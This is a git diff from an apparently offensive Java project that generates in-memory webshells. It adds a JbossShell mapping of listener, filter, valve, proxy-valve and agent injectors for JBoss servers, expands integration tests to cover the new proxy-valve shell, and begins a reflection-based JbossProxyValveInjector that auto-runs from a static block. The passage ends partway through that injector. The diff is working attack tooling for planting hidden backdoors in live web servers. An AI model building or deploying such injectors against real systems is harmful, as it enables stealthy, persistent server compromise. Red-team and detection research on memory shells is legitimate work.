diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
index 6f5d97bd..094316e3 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java
@@ -29,8 +29,8 @@ public enum Server {
/**
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 JBoss AS
*/
- JBossAS(new TomcatShell()),
- JBossEAP6(new TomcatShell()),
+ JBossAS(new JbossShell()),
+ JBossEAP6(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* JBossEAP
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java
new file mode 100644
index 00000000..ab6b389e
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java
@@ -0,0 +1,34 @@
+package com.reajason.javaweb.memshell.server;
+
+import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
+import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
+
+import static com.reajason.javaweb.memshell.ShellType.*;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/10
+ */
+public class JbossShell extends AbstractShell {
+
+ @Override
+ public Class> getListenerInterceptor() {
+ return TomcatShell.ListenerInterceptor.class;
+ }
+
+ @Override
+ public InjectorMapping getShellInjectorMapping() {
+ return InjectorMapping.builder()
+ .addInjector(LISTENER, TomcatListenerInjector.class)
+ .addInjector(FILTER, TomcatFilterInjector.class)
+ .addInjector(VALVE, JbossValveInjector.class)
+ .addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
+ .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
+ .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
+ .build();
+ }
+}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
index c4174762..a746df72 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java
@@ -53,7 +53,9 @@ public class Jboss423ContainerTest {
static Stream casesProvider() {
Server server = Server.JBossAS;
List supportedShellTypes = List.of(
- ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+ ShellType.FILTER, ShellType.LISTENER,
+ ShellType.VALVE,
+ ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
index 7cc32ef0..e832e587 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java
@@ -52,7 +52,9 @@ public class Jboss510ContainerTest {
static Stream casesProvider() {
Server server = Server.JBossAS;
List supportedShellTypes = List.of(
- ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+ ShellType.FILTER, ShellType.LISTENER,
+ ShellType.VALVE,
+ ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
index b44b249d..d6532c2c 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java
@@ -52,7 +52,9 @@ public class Jboss610ContainerTest {
static Stream casesProvider() {
Server server = Server.JBossAS;
List supportedShellTypes = List.of(
- ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+ ShellType.FILTER, ShellType.LISTENER,
+ ShellType.VALVE,
+ ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
index ba48db9d..b40652b3 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java
@@ -55,7 +55,9 @@ public class Jboss711ContainerTest {
static Stream casesProvider() {
Server server = Server.JBossAS;
List supportedShellTypes = List.of(
- ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+ ShellType.FILTER, ShellType.LISTENER,
+ ShellType.VALVE,
+ ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
index 6278bf8e..263d94ef 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java
@@ -51,7 +51,9 @@ public class JbossEap6ContainerTest {
static Stream casesProvider() {
Server server = Server.JBossEAP6;
- List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+ List supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER,
+ ShellType.VALVE,
+ ShellType.PROXY_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java
new file mode 100644
index 00000000..fe71a059
--- /dev/null
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossProxyValveInjector.java
@@ -0,0 +1,208 @@
+package com.reajason.javaweb.memshell.injector.jboss;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationHandler;
+import java.lang.reflect.Method;
+import java.lang.reflect.Proxy;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class JbossProxyValveInjector implements InvocationHandler {
+
+ private Object rawValve;
+ private Object proxyValve;
+
+ static {
+ new JbossProxyValveInjector();
+ }
+
+ public JbossProxyValveInjector() {
+ try {
+ List